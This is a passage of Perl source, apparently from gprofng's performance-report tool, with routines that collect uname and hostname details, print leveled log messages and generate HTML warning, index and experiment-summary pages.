# Wrapper that returns the last part of the subroutine name.  The assumption is
# that the last part of the input name is of the form &quot;aa::bb&quot; or just &quot;bb&quot;.
#------------------------------------------------------------------------------
sub get_my_name
{
  my $called_by = (caller (1))[3];
  my @parts     = split (&quot;::&quot;, $called_by);
  return ($parts[$#parts]);

##  my ($the_full_name_ref) = @_;

##  my $the_full_name = ${ $the_full_name_ref };
##  my $last_part;

#------------------------------------------------------------------------------
# If the regex below fails, use the full name.&quot;
#------------------------------------------------------------------------------
##  $last_part = $the_full_name;

#------------------------------------------------------------------------------
# Capture the last part if there are multiple parts separated by &quot;::&quot;.
#------------------------------------------------------------------------------
##  if ($the_full_name =~ /.*::(.+)$/)
##    {
##      if (defined ($1))
##        {
##          $last_part = $1;
##        }
##    }

##  return (\$last_part);

} #-- End of subroutine get_my_name

#------------------------------------------------------------------------------
# Determine the characteristics of the current system
#------------------------------------------------------------------------------
sub get_system_config_info
{
#------------------------------------------------------------------------------
# The output from the &quot;uname&quot; command is used for this. Although not all of
# these are currently used, we store all fields in separate variables.
#------------------------------------------------------------------------------
#
#------------------------------------------------------------------------------
# The options supported on uname from GNU coreutils 8.22:
#------------------------------------------------------------------------------
#   -a, --all                print all information, in the following order,
#                              except omit -p and -i if unknown:
#   -s, --kernel-name        print the kernel name
#   -n, --nodename           print the network node hostname
#   -r, --kernel-release     print the kernel release
#   -v, --kernel-version     print the kernel version
#   -m, --machine            print the machine hardware name
#   -p, --processor          print the processor type or &quot;unknown&quot;
#   -i, --hardware-platform  print the hardware platform or &quot;unknown&quot;
#   -o, --operating-system   print the operating system
#------------------------------------------------------------------------------
# Sample output:
# Linux ruudvan-vm-2-8-20200701 4.14.35-2025.400.8.el7uek.x86_64 #2 SMP Wed Aug 26 12:22:05 PDT 2020 x86_64 x86_64 x86_64 GNU/Linux
#------------------------------------------------------------------------------
  my $subr_name = get_my_name ();

  my $error_code;
  my $hostname_current;
  my $ignore_output;
  my $msg;
  my $target_cmd;
#------------------------------------------------------------------------------
# Test once if the command succeeds.  This avoids we need to check every
# specific # command below.
#------------------------------------------------------------------------------
  $target_cmd    = $g_mapped_cmds{uname};
  ($error_code, $ignore_output) = execute_system_cmd ($target_cmd);

  if ($error_code != 0)
#------------------------------------------------------------------------------
# This is unlikely to happen, but you never know.
#------------------------------------------------------------------------------
    {
      gp_message (&quot;abort&quot;, $subr_name, &quot;failure to execute the uname command&quot;);
    }
 
  my $kernel_name       = qx ($target_cmd -s); chomp ($kernel_name);
  my $nodename          = qx ($target_cmd -n); chomp ($nodename);
  my $kernel_release    = qx ($target_cmd -r); chomp ($kernel_release);
  my $kernel_version    = qx ($target_cmd -v); chomp ($kernel_version);
  my $machine           = qx ($target_cmd -m); chomp ($machine);
  my $processor         = qx ($target_cmd -p); chomp ($processor);
  my $hardware_platform = qx ($target_cmd -i); chomp ($hardware_platform);
  my $operating_system  = qx ($target_cmd -o); chomp ($operating_system);
 
  $local_system_config{&quot;kernel_name&quot;}       = $kernel_name;
  $local_system_config{&quot;nodename&quot;}          = $nodename;
  $local_system_config{&quot;kernel_release&quot;}    = $kernel_release;
  $local_system_config{&quot;kernel_version&quot;}    = $kernel_version;
  $local_system_config{&quot;machine&quot;}           = $machine;
  $local_system_config{&quot;processor&quot;}         = $processor;
  $local_system_config{&quot;hardware_platform&quot;} = $hardware_platform;
  $local_system_config{&quot;operating_system&quot;}  = $operating_system;
 
  gp_message (&quot;debug&quot;, $subr_name, &quot;the output from the $target_cmd command is split into the following variables:&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;kernel_name       = $kernel_name&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;nodename          = $nodename&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;kernel_release    = $kernel_release&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;kernel_version    = $kernel_version&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;machine           = $machine&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;processor         = $processor&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;hardware_platform = $hardware_platform&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;operating_system  = $operating_system&quot;);
 
#------------------------------------------------------------------------------
# Check if the system we are running on is supported.
#------------------------------------------------------------------------------
  my $is_supported = ${ check_support_for_processor (\$machine) };

  if (not $is_supported)
    {
      $msg = &quot;the $machine instruction set architecture is not supported&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);
      gp_message (&quot;diag&quot;, $subr_name, &quot;Error: &quot; . $msg);

      $msg = &quot;temporarily ignored for development purposes&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;
      exit (0);
    }
#------------------------------------------------------------------------------
# The current hostname is used to compare against the hostname(s) found in the
# experiment directories.
#------------------------------------------------------------------------------
  $target_cmd       = $g_mapped_cmds{hostname};
  $hostname_current = qx ($target_cmd); chomp ($hostname_current);
  $error_code       = ${^CHILD_ERROR_NATIVE};
 
  if ($error_code == 0)
    {
      $local_system_config{&quot;hostname_current&quot;} = $hostname_current;
    }
  else
#------------------------------------------------------------------------------
# This is unlikely to happen, but you never know.
#------------------------------------------------------------------------------
    {
      gp_message (&quot;abort&quot;, $subr_name, &quot;failure to execute the hostname command&quot;);
    }
  for my $key (sort keys %local_system_config)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;local_system_config{$key} = $local_system_config{$key}&quot;);
    }

  return (0);

} #-- End of subroutine get_system_config_info

#------------------------------------------------------------------------------
# This subroutine prints a message.  Several types of messages are supported.
# In case the type is &quot;abort&quot;, or &quot;error&quot;, execution is terminated.
#
# Note that &quot;debug&quot;, &quot;warning&quot;, and &quot;error&quot; mode, the name of the calling
# subroutine is truncated to 30 characters.  In case the name is longer,
# a warning message # is issued so you know this has happened.
#
# Note that we use lcfirst () and ucfirst () to enforce whether the first
# character is printed in lower or uppercase.  It is nothing else than a
# convenience, but creates more consistency across messages.
#------------------------------------------------------------------------------
sub gp_message
{
  my $subr_name = get_my_name ();

  my ($action, $caller_name, $comment_line) = @_;

#------------------------------------------------------------------------------
# The debugXL identifier is special.  It is accepted, but otherwise ignored.
# This allows to (temporarily) disable debug print statements, but keep them
# around.
#------------------------------------------------------------------------------
  my %supported_identifiers = (
    &quot;verbose&quot;   =&gt; &quot;[Verbose]&quot;,
    &quot;debug&quot;     =&gt; &quot;[Debug]&quot;,
    &quot;error&quot;     =&gt; &quot;[Error]&quot;,
    &quot;warning&quot;   =&gt; &quot;[Warning]&quot;,
    &quot;abort&quot;     =&gt; &quot;[Abort]&quot;,
    &quot;assertion&quot; =&gt; &quot;[Assertion error]&quot;,
    &quot;diag&quot;      =&gt; &quot;&quot;,
  );

  my $debug_size;
  my $identifier;
  my $fixed_size_name;
  my $ignore_value;
  my $string_limit = 30;
  my $strlen = length ($caller_name);
  my $trigger_debug = $FALSE;
  my $truncated_name;
  my $msg;

  if ($action =~ /debug\s*(.+)/)
    {
      if (defined ($1))
        {
          my $orig_value = $1;
          $debug_size = lc ($1);

          if ($debug_size =~ /^s$|^m$|^l$|^xl$/)
            {
              if ($g_debug_size{$debug_size})
                {
#------------------------------------------------------------------------------
# All we need to know is whether a debug action is requested and whether the
# size has been enabled.  By setting $action to &quot;debug&quot;, the code below is
# simplified.  Note that only using $trigger_debug below is actually sufficient.
#------------------------------------------------------------------------------
                  $trigger_debug = $TRUE;
                }
            }
          else
            {
              die &quot;$subr_name: debug size $orig_value is not supported&quot;;
            }
          $action = &quot;debug&quot;;
        }
    }
  elsif ($action eq &quot;debug&quot;)
    {
      $trigger_debug = $TRUE;
    }

#------------------------------------------------------------------------------
# Catch any non-supported identifier.
#------------------------------------------------------------------------------
  if (defined ($supported_identifiers{$action}))
    {
      $identifier = $supported_identifiers{$action};
    }
  else
    {
      die (&quot;$subr_name - input error: $action is not supported&quot;);
    }
  if (($action eq &quot;debug&quot;) and (not $g_debug))
    {
      $trigger_debug = $FALSE;
    }

#------------------------------------------------------------------------------
# Unconditionally buffer all warning messages.  These are available through the
# index.html page and cannot be disabled.
#
# If the quiet mode has been enabled, warnings are not printed though.
#------------------------------------------------------------------------------
  if ($action eq &quot;warning&quot;)
    {
#------------------------------------------------------------------------------
# Remove any leading &lt;br&gt;, capitalize the first letter, and put the &lt;br&gt; back
# before storing the message in the buffer.
#------------------------------------------------------------------------------
      if ($comment_line =~ /^$g_html_new_line/)
        {
          $msg = $comment_line;
          $msg =~ s/$g_html_new_line//;
          $comment_line = $g_html_new_line . ucfirst ($msg);

          push (@g_warning_msgs, $comment_line);
        }
      else
        {
          push (@g_warning_msgs, ucfirst ($comment_line));
        }
    }

#------------------------------------------------------------------------------
# Unconditionally buffer all errror messages.  These will be printed prior to
# terminate execution.
#------------------------------------------------------------------------------
  if ($action eq &quot;error&quot;)
#------------------------------------------------------------------------------
# Remove any leading &lt;br&gt;, capitalize the first letter, and put the &lt;br&gt; back.
#------------------------------------------------------------------------------
    {
      if ($comment_line =~ /^$g_html_new_line/)
        {
          $msg = $comment_line;
          $msg =~ s/$g_html_new_line//;
          $comment_line = $g_html_new_line . ucfirst ($msg);

          push (@g_error_msgs, $comment_line);
        }
      else
        {
          push (@g_error_msgs, ucfirst ($comment_line));
        }
    }

#------------------------------------------------------------------------------
# Quick return in several cases.  Note that &quot;debug&quot;, &quot;verbose&quot;, &quot;warning&quot;, and
# &quot;diag&quot; messages are suppressed in quiet mode, but &quot;error&quot;, &quot;abort&quot; and
# &quot;assertion&quot; always pass.
#------------------------------------------------------------------------------
  if ((
           ($action eq &quot;verbose&quot;) and (not $g_verbose))
       or (($action eq &quot;debug&quot;)   and (not $trigger_debug))
       or (($action eq &quot;verbose&quot;) and ($g_quiet))
       or (($action eq &quot;debug&quot;)   and ($g_quiet))
       or (($action eq &quot;warning&quot;) and ($g_quiet))
       or (($action eq &quot;diag&quot;)    and ($g_quiet)))
    {
      return (0);
    }

#------------------------------------------------------------------------------
# In diag mode, just print the input line and nothing else.
#------------------------------------------------------------------------------
  if ((
          $action eq &quot;debug&quot;)
      or ($action eq &quot;abort&quot;)
      or ($action eq &quot;assertion&quot;))
##      or ($action eq &quot;error&quot;))
    {
#------------------------------------------------------------------------------
# Construct the string to be printed.  Include an identifier and the name of
# the function.
#------------------------------------------------------------------------------
      if ($strlen &gt; $string_limit)
        {
          $truncated_name  = substr ($caller_name, 0, $string_limit);
          $fixed_size_name = sprintf (&quot;%-&quot;.&quot;$string_limit&quot;.&quot;s&quot;, $truncated_name);
          print &quot;Warning in $subr_name - the name of the caller is: &quot; .
		$caller_name . &quot;\n&quot;;
          print &quot;Warning in $subr_name - the string length is $strlen and &quot; .
                &quot;exceeds $string_limit\n&quot;;
        }
      else
        {
          $fixed_size_name = sprintf (&quot;%-&quot;.&quot;$string_limit&quot;.&quot;s&quot;, $caller_name);
        }

##      if (($action eq &quot;error&quot;) or ($action eq &quot;abort&quot;))
      if ($action eq &quot;abort&quot;)
#------------------------------------------------------------------------------
# Enforce that the message starts with a lowercase symbol.  Since these are
# user errors, the name of the routine is not shown.  The same for &quot;abort&quot;.
# If you want to display the routine name too, use an assertion.
#------------------------------------------------------------------------------
        {
          my $error_identifier = $supported_identifiers{&quot;error&quot;};
          if (@g_error_msgs)
            {
              $ignore_value = print_errors_buffer (\$error_identifier);
            }
          printf (&quot;%-9s %s&quot;, $identifier, ucfirst ($comment_line));
          printf (&quot; - %s\n&quot;, &quot;execution is terminated&quot;);
        }
      elsif ($action eq &quot;assertion&quot;)
#------------------------------------------------------------------------------
# Enforce that the message starts with a lowercase symbol.
#------------------------------------------------------------------------------
        {
#------------------------------------------------------------------------------
# The lines are too long, but breaking the argument list gives this warning:
# printf (...) interpreted as function
#------------------------------------------------------------------------------
          printf (&quot;%-17s %-30s&quot;, $identifier, $fixed_size_name);
          printf (&quot; - %s\n&quot;, $comment_line);
        }
      elsif (($action eq &quot;debug&quot;) and ($trigger_debug))
#------------------------------------------------------------------------------
# Debug messages are printed &quot;as is&quot;.  Avoids issues when searching for them ;-)
#------------------------------------------------------------------------------
        {
          printf (&quot;%-9s %-30s&quot;, $identifier, $fixed_size_name);
          printf (&quot; - %s\n&quot;, $comment_line);
        }
      else
#------------------------------------------------------------------------------
# Enforce that the message starts with a lowercase symbol.
#------------------------------------------------------------------------------
        {
          printf (&quot;%-9s %-30s&quot;, $identifier, $fixed_size_name);
          printf (&quot; - %s\n&quot;, $comment_line);
        }
    }
  elsif ($action eq &quot;verbose&quot;)
#------------------------------------------------------------------------------
# The first character in the verbose message is capatilized.
#------------------------------------------------------------------------------
    {
      printf (&quot;%s\n&quot;, ucfirst ($comment_line));
    }
  elsif ($action eq &quot;diag&quot;)
#------------------------------------------------------------------------------
# The diag messages are meant to be diagnostics.  Only the comment line is
# printed.
#------------------------------------------------------------------------------
    {
      printf (&quot;%s\n&quot;, $comment_line);
      return (0);
    }

#------------------------------------------------------------------------------
# Terminate execution in case the identifier is &quot;abort&quot;.
#------------------------------------------------------------------------------
  if (($action eq &quot;abort&quot;) or ($action eq &quot;assertion&quot;))
    {
##      print &quot;ABORT temporarily disabled for testing purposes\n&quot;;
      exit (-1);
    }
  else
    {
      return (0);
    }
 
} #-- End of subroutine gp_message

#------------------------------------------------------------------------------
# Create an HTML page with the warnings.  If there are no warnings, include
# line to this extent.  The alternative is to supporess the entire page, but
# that breaks the consistency in the output.
#------------------------------------------------------------------------------
sub html_create_warnings_page
{
  my $subr_name = get_my_name ();

  my ($outputdir_ref) = @_;

  my $outputdir = ${ $outputdir_ref };

  my $file_title;
  my $html_acknowledgement;
  my $html_end;
  my $html_header;
  my $html_home_left;
  my $html_home_right;
  my $html_title_header;
  my $msg_no_warnings = &quot;There are no warning messages issued.&quot;;
  my $page_title;
  my $position_text;
  my $size_text;

  my $outfile = $outputdir . $g_html_base_file_name{&quot;warnings&quot;} . &quot;.html&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;outfile = $outfile&quot;);

  open (WARNINGS_OUT, &quot;&gt;&quot;, $outfile)
    or die (&quot;unable to open $outfile for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile for writing&quot;);

  gp_message (&quot;debug&quot;, $subr_name, &quot;building warning file $outfile&quot;);

#------------------------------------------------------------------------------
# Generate some of the structures used in the HTML output.
#------------------------------------------------------------------------------
  $file_title  = &quot;Warning messages&quot;;
  $html_header = ${ create_html_header (\$file_title) };
  $html_home_right   = ${ generate_home_link (&quot;right&quot;) };

  $page_title    = &quot;Warning Messages&quot;;
  $size_text     = &quot;h2&quot;;
  $position_text = &quot;center&quot;;
  $html_title_header = ${ generate_a_header (\$page_title, \$size_text, \$position_text) };

#------------------------------------------------------------------------------
# Get the acknowledgement, return to main link, and final html statements.
#------------------------------------------------------------------------------
  $html_home_left       = ${ generate_home_link (&quot;left&quot;) };
  $html_acknowledgement = ${ create_html_credits () };
  $html_end             = ${ terminate_html_document () };

#------------------------------------------------------------------------------
# Generate the HTML file.
#------------------------------------------------------------------------------
  print WARNINGS_OUT $html_header;
  print WARNINGS_OUT $html_home_right;
  print WARNINGS_OUT $html_title_header;

  if ($g_total_warning_count &gt; 0)
    {
      print WARNINGS_OUT &quot;&lt;pre&gt;\n&quot;;
      print WARNINGS_OUT &quot;$_\n&quot; for @g_warning_msgs;
      print WARNINGS_OUT &quot;&lt;/pre&gt;\n&quot;;
    }
  else
    {
      print WARNINGS_OUT $msg_no_warnings;
    }

  print WARNINGS_OUT $html_home_left;
  print WARNINGS_OUT &quot;&lt;br&gt;\n&quot;;
  print WARNINGS_OUT $html_acknowledgement;
  print WARNINGS_OUT $html_end;

  close (WARNINGS_OUT);

  return (0);

} #-- End of subroutine html_create_warnings_page

#------------------------------------------------------------------------------
# Generate the HTML with the experiment summary.
#------------------------------------------------------------------------------
sub html_generate_exp_summary
{
  my $subr_name = get_my_name ();

  my ($outputdir_ref, $experiment_data_ref) = @_;

  my $outputdir       = ${ $outputdir_ref };
  my @experiment_data = @{ $experiment_data_ref };
  my $file_title;
  my $outfile;
  my $page_title;
  my $size_text;
  my $position_text;
  my $html_header;
  my $html_home;
  my $html_title_header;
  my $html_acknowledgement;
  my $html_end;
  my @html_exp_table_data = ();
  my $html_exp_table_data_ref;
  my @table_execution_stats = ();
  my $table_execution_stats_ref;

  gp_message (&quot;debug&quot;, $subr_name, &quot;outputdir = $outputdir&quot;);
  $outputdir = append_forward_slash ($outputdir);
  gp_message (&quot;debug&quot;, $subr_name, &quot;outputdir = $outputdir&quot;);

  $file_title = &quot;Experiment information&quot;;
  $page_title = &quot;Experiment Information&quot;;
  $size_text = &quot;h2&quot;;
  $position_text = &quot;center&quot;;
  $html_header = ${ create_html_header (\$file_title) };
  $html_home   = ${ generate_home_link (&quot;right&quot;) };

  $html_title_header = ${ generate_a_header (\$page_title, \$size_text, \$position_text) };

  $outfile = $outputdir . $g_html_base_file_name{&quot;experiment_info&quot;} . &quot;.html&quot;;
  open (EXP_INFO, &quot;&gt;&quot;, $outfile)
    or die (&quot;unable to open $outfile for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile for writing&quot;);

  print EXP_INFO $html_header;
  print EXP_INFO $html_home;
  print EXP_INFO $html_title_header;

  ($html_exp_table_data_ref, $table_execution_stats_ref) = html_generate_table_data ($experiment_data_ref);

  @html_exp_table_data   = @{ $html_exp_table_data_ref };
  @table_execution_stats = @{ $table_execution_stats_ref };

  print EXP_INFO &quot;$_&quot; for @html_exp_table_data;
;
##  print EXP_INFO &quot;&lt;pre&gt;\n&quot;;
##  print EXP_INFO &quot;$_\n&quot; for @html_caller_callee;
##  print EXP_INFO &quot;&lt;/pre&gt;\n&quot;;

#------------------------------------------------------------------------------
# Get the acknowledgement, return to main link, and final html statements.
#------------------------------------------------------------------------------
  $html_home            = ${ generate_home_link (&quot;left&quot;) };
  $html_acknowledgement = ${ create_html_credits () };
  $html_end             = ${ terminate_html_document () };

  print EXP_INFO $html_home;
  print EXP_INFO &quot;&lt;br&gt;\n&quot;;
  print EXP_INFO $html_acknowledgement;
  print EXP_INFO $html_end;

  close (EXP_INFO);

  return (\@table_execution_stats);

} #-- End of subroutine html_generate_exp_summary

#------------------------------------------------------------------------------
# Generate the index.html file.
#------------------------------------------------------------------------------
sub html_generate_index
{
  my $subr_name = get_my_name ();

  my ($outputdir_ref, $html_first_metric_file_ref, $summary_metrics_ref,
      $number_of_metrics_ref, $function_info_ref, $function_address_info_ref,
      $sort_fields_ref, $exp_dir_list_ref, $addressobjtextm_ref,
      $metric_description_reversed_ref, $table_execution_stats_ref) = @_;

  my $outputdir               = ${ $outputdir_ref };
  my $html_first_metric_file  = ${ $html_first_metric_file_ref };
  my $summary_metrics         = ${ $summary_metrics_ref };
  my $number_of_metrics       = ${ $number_of_metrics_ref };
  my @function_info           = @{ $function_info_ref };
  my %function_address_info   = %{ $function_address_info_ref };
  my @sort_fields             = @{ $sort_fields_ref };
  my @exp_dir_list            = @{ $exp_dir_list_ref };
  my %addressobjtextm         = %{ $addressobjtextm_ref };
  my %metric_description_reversed = %{ $metric_description_reversed_ref };
  my @table_execution_stats   = @{ $table_execution_stats_ref };

  my @file_contents = ();

  my $acknowledgement;
  my @abs_path_exp_dirs = ();
  my $input_experiments;
  my $target_function;
  my $html_line;
  my $ftag;
  my $max_length = 0;
  my %html_source_functions = ();
  my $html_header;
  my @experiment_directories = ();
  my $html_acknowledgement;
  my $html_file_title;
  my $html_output_file;
  my $html_function_view;
  my $html_caller_callee_view;
  my $html_experiment_info;
  my $html_warnings_page;
  my $href_link;
  my $file_title;
  my $html_gprofng;
  my $html_end;
  my $max_length_metrics;
  my $page_title;
  my $size_text;
  my $position_text;

  my $ln;
  my $base;
  my $base_index_page;
  my $infile;
  my $outfile;
  my $rec;
  my $skip;
  my $callsize;
  my $dest;
  my $final_string;
  my @headers;
  my $header;
  my $sort_index;
  my $pc_address;
  my $anchor;
  my $directory_name;
  my $f2;
  my $f3;
  my $file;
  my $sline;
  my $src;
  my $srcfile_name;
  my $tmp1;
  my $tmp2;
  my $fullsize;
  my $regf2;
  my $trimsize;
  my $EIL;
  my $EEIL;
  my $AOBJ;
  my $RI;
  my $HDR;
  my $CALLER_CALLEE;
  my $NAME;
  my $SRC;
  my $TRIMMED;

#------------------------------------------------------------------------------
# Add a forward slash to make it easier when creating file names.
#------------------------------------------------------------------------------
  $outputdir         = append_forward_slash ($outputdir);
  gp_message (&quot;debug&quot;, $subr_name, &quot;outputdir = $outputdir&quot;);

  my $LANG              = $g_locale_settings{&quot;LANG&quot;};
  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};

  $input_experiments = join (&quot;, &quot;, @exp_dir_list);

  for my $i (0 .. $#exp_dir_list)
    {
      my $dir = get_basename ($exp_dir_list[$i]);
      push @abs_path_exp_dirs, $dir;
    }
  $input_experiments = join (&quot;, &quot;, @abs_path_exp_dirs);

  gp_message (&quot;debug&quot;, $subr_name, &quot;input_experiments = $input_experiments&quot;);
 
#------------------------------------------------------------------------------
# TBD: Pass in the values for $expr_name and $cmd
#------------------------------------------------------------------------------
  $html_file_title = &quot;Main index page&quot;;

  @experiment_directories = split (&quot;,&quot;, $input_experiments);
  $html_acknowledgement = ${ create_html_credits () };

  $html_end              = ${ terminate_html_document () };

  $html_output_file = $outputdir . $g_html_base_file_name{&quot;index&quot;} . &quot;.html&quot;;

  open (INDEX, &quot;&gt;&quot;, $html_output_file)
    or die (&quot;$subr_name - unable to open file $html_output_file for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $html_output_file for writing&quot;);

  $page_title    = &quot;GPROFNG Performance Analysis&quot;;
  $size_text     = &quot;h1&quot;;
  $position_text = &quot;center&quot;;
  $html_gprofng = ${ generate_a_header (\$page_title, \$size_text, \$position_text) };

  $html_header     = ${ create_html_header (\$html_file_title) };

  print INDEX $html_header;
  print INDEX $html_gprofng;
  print INDEX &quot;$_&quot; for @g_html_experiment_stats;
  print INDEX &quot;$_&quot; for @table_execution_stats;

  $html_experiment_info  = &quot;&lt;a href=\&#039;&quot;;
  $html_experiment_info .= $g_html_base_file_name{&quot;experiment_info&quot;} . &quot;.html&quot;;
  $html_experiment_info .= &quot;\&#039;&gt;&lt;h3&gt;Experiment Details&lt;/h3&gt;&lt;/a&gt;\n&quot;;

  $html_warnings_page  = &quot;&lt;a href=\&#039;&quot;;
  $html_warnings_page .= $g_html_base_file_name{&quot;warnings&quot;} . &quot;.html&quot;;
  $html_warnings_page .= &quot;\&#039;&gt;&lt;h3&gt;Warnings (&quot; . $g_total_warning_count;
  $html_warnings_page .= &quot;)&lt;/h3&gt;&lt;/a&gt;\n&quot;;

  $html_function_view  = &quot;&lt;a href=\&#039;&quot;;
  $html_function_view .= $html_first_metric_file;
  $html_function_view .= &quot;\&#039;&gt;&lt;h3&gt;Function View&lt;/h3&gt;&lt;/a&gt;\n&quot;;

  $html_caller_callee_view  = &quot;&lt;a href=\&#039;&quot;;
  $html_caller_callee_view .= $g_html_base_file_name{&quot;caller_callee&quot;} . &quot;.html&quot;;
  $html_caller_callee_view .= &quot;\&#039;&gt;&lt;h3&gt;Caller Callee View&lt;/h3&gt;&lt;/a&gt;\n&quot;;

  print INDEX &quot;&lt;br&gt;\n&quot;;
##  print INDEX &quot;&lt;b&gt;\n&quot;;
  print INDEX $html_experiment_info;
  print INDEX $html_warnings_page;
##  print INDEX &quot;&lt;br&gt;\n&quot;;
##  print INDEX &quot;&lt;br&gt;\n&quot;;
  print INDEX $html_function_view;
##  print INDEX &quot;&lt;br&gt;\n&quot;;
##  print INDEX &quot;&lt;br&gt;\n&quot;;
  print INDEX $html_caller_callee_view;
##  print INDEX &quot;&lt;/b&gt;\n&quot;;
##  print INDEX &quot;&lt;br&gt;\n&quot;;
##  print INDEX &quot;&lt;br&gt;\n&quot;;

  print INDEX $html_acknowledgement;
  print INDEX $html_end;

  close (INDEX);

  gp_message (&quot;debug&quot;, $subr_name, &quot;closed file $html_output_file&quot;);

  return (0);

} #-- End of subroutine html_generate_index

#------------------------------------------------------------------------------
# Generate the entries for the tables with the experiment info.
#------------------------------------------------------------------------------
sub html_generate_table_data
{
  my $subr_name = get_my_name ();

  my ($experiment_data_ref) = @_;

  my @experiment_data     = ();
  my @html_exp_table_data = ();
  my $html_line;
##  my $html_header_line;
  my $entry_name;
  my $key;
  my $size_text;
  my $position_text;
  my $title_table_1;
  my $title_table_2;
  my $title_table_3;
  my $title_table_summary;
  my $html_table_title;

  my @experiment_table_1_def = ();
  my @experiment_table_2_def = ();
  my @experiment_table_3_def = ();
  my @exp_table_summary_def = ();
  my @experiment_table_1 = ();
  my @experiment_table_2 = ();
  my @experiment_table_3 = ();
  my @exp_table_summary = ();
  my @exp_table_selection = ();

  @experiment_data = @{ $experiment_data_ref };

  for my $i (sort keys @experiment_data)
    {
      for my $fields (sort keys %{ $experiment_data[$i] })
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;$i =&gt; experiment_data[$i]{$fields} = $experiment_data[$i]{$fields}&quot;);
        }
    }

  $title_table_1 = &quot;Target System Configuration&quot;;
  $title_table_2 = &quot;Experiment Statistics&quot;;
  $title_table_3 = &quot;Run Time Statistics&quot;;
  $title_table_summary = &quot;Main Statistics&quot;;

  $size_text     = &quot;h3&quot;;
  $position_text = &quot;left&quot;;

  push @experiment_table_1_def, { name =&gt; &quot;Experiment name&quot; , key =&gt; &quot;exp_name_short&quot;};
  push @experiment_table_1_def, { name =&gt; &quot;Hostname&quot;        , key =&gt; &quot;hostname&quot;};
  push @experiment_table_1_def, { name =&gt; &quot;Operating system&quot;, key =&gt; &quot;OS&quot;};
  push @experiment_table_1_def, { name =&gt; &quot;Architecture&quot;,     key =&gt; &quot;architecture&quot;};
  push @experiment_table_1_def, { name =&gt; &quot;Page size&quot;,        key =&gt; &quot;page_size&quot;};

  push @experiment_table_2_def, { name =&gt; &quot;Target command&quot;          , key =&gt; &quot;target_cmd&quot;};
  push @experiment_table_2_def, { name =&gt; &quot;Date command executed&quot;   , key =&gt; &quot;start_date&quot;};
  push @experiment_table_2_def, { name =&gt; &quot;Data collection duration&quot;, key =&gt; &quot;data_collection_duration&quot;};
  push @experiment_table_2_def, { name =&gt; &quot;End time of the experiment&quot;, key =&gt; &quot;end_experiment&quot;};

  push @experiment_table_3_def, { name =&gt; &quot;User CPU time (seconds)&quot;, key =&gt; &quot;user_cpu_time&quot;};
##  push @experiment_table_3_def, { name =&gt; &quot;User CPU time (percentage)&quot;, key =&gt; &quot;user_cpu_percentage&quot;};
  push @experiment_table_3_def, { name =&gt; &quot;System CPU time (seconds)&quot;, key =&gt; &quot;system_cpu_time&quot;};
##  push @experiment_table_3_def, { name =&gt; &quot;System CPU time (percentage)&quot;, key =&gt; &quot;system_cpu_percentage&quot;};
  push @experiment_table_3_def, { name =&gt; &quot;Sleep time (seconds)&quot;, key =&gt; &quot;sleep_time&quot;};
##  push @experiment_table_3_def, { name =&gt; &quot;Sleep time (percentage)&quot;, key =&gt; &quot;sleep_percentage&quot;};

  push @exp_table_summary_def, { name =&gt; &quot;Experiment name&quot; , key =&gt; &quot;exp_name_short&quot;};
  push @exp_table_summary_def, { name =&gt; &quot;Hostname&quot;        , key =&gt; &quot;hostname&quot;};
  push @exp_table_summary_def, { name =&gt; &quot;User CPU time (seconds)&quot;, key =&gt; &quot;user_cpu_time&quot;};
  push @exp_table_summary_def, { name =&gt; &quot;System CPU time (seconds)&quot;, key =&gt; &quot;system_cpu_time&quot;};
  push @exp_table_summary_def, { name =&gt; &quot;Sleep time (seconds)&quot;, key =&gt; &quot;sleep_time&quot;};

  $html_table_title = ${ generate_a_header (\$title_table_1, \$size_text, \$position_text) };

  push (@html_exp_table_data, $html_table_title);

  @experiment_table_1 = @{ create_table (\@experiment_data, \@experiment_table_1_def) };

  push (@html_exp_table_data, @experiment_table_1);

  $html_table_title = ${ generate_a_header (\$title_table_2, \$size_text, \$position_text) };

  push (@html_exp_table_data, $html_table_title);

  @experiment_table_2 = @{ create_table (\@experiment_data, \@experiment_table_2_def) };

  push (@html_exp_table_data, @experiment_table_2);

  $html_table_title = ${ generate_a_header (\$title_table_3, \$size_text, \$position_text) };

  push (@html_exp_table_data, $html_table_title);

  @experiment_table_3 = @{ create_table (\@experiment_data, \@experiment_table_3_def) };

  push (@html_exp_table_data, @experiment_table_3);

  $html_table_title = ${ generate_a_header (\$title_table_summary, \$size_text, \$position_text) };

  push (@exp_table_summary, $html_table_title);

  @exp_table_selection = @{ create_table (\@experiment_data, \@exp_table_summary_def) };

  push (@exp_table_summary, @exp_table_selection);

  return (\@html_exp_table_data, \@exp_table_summary);

} #-- End of subroutine html_generate_table_data

#------------------------------------------------------------------------------
# Generate the HTML text to print in case a file is empty.
#------------------------------------------------------------------------------
sub html_text_empty_file
{
  my $subr_name = get_my_name ();

  my ($comment_ref, $error_file_ref) = @_;

  my $comment;
  my $error_file;
  my $error_message;
  my $file_title;
  my $html_end;
  my $html_header;
  my $html_home;

  my @html_empty_file = ();

  $comment     = ${ $comment_ref };
  $error_file  = ${ $error_file_ref };

  $file_title  = &quot;File is empty&quot;;
  $html_header = ${ create_html_header (\$file_title) };
  $html_end    = ${ terminate_html_document () };
  $html_home   = ${ generate_home_link (&quot;left&quot;) };

  push (@html_empty_file, $html_header);

  $error_message = &quot;&lt;b&gt;&quot; . $comment . &quot;&lt;/b&gt;&quot;;
  $error_message = set_background_color_string ($error_message, $g_html_color_scheme{&quot;error_message&quot;});
  push (@html_empty_file, $error_message);

  if (not is_file_empty ($error_file))
    {
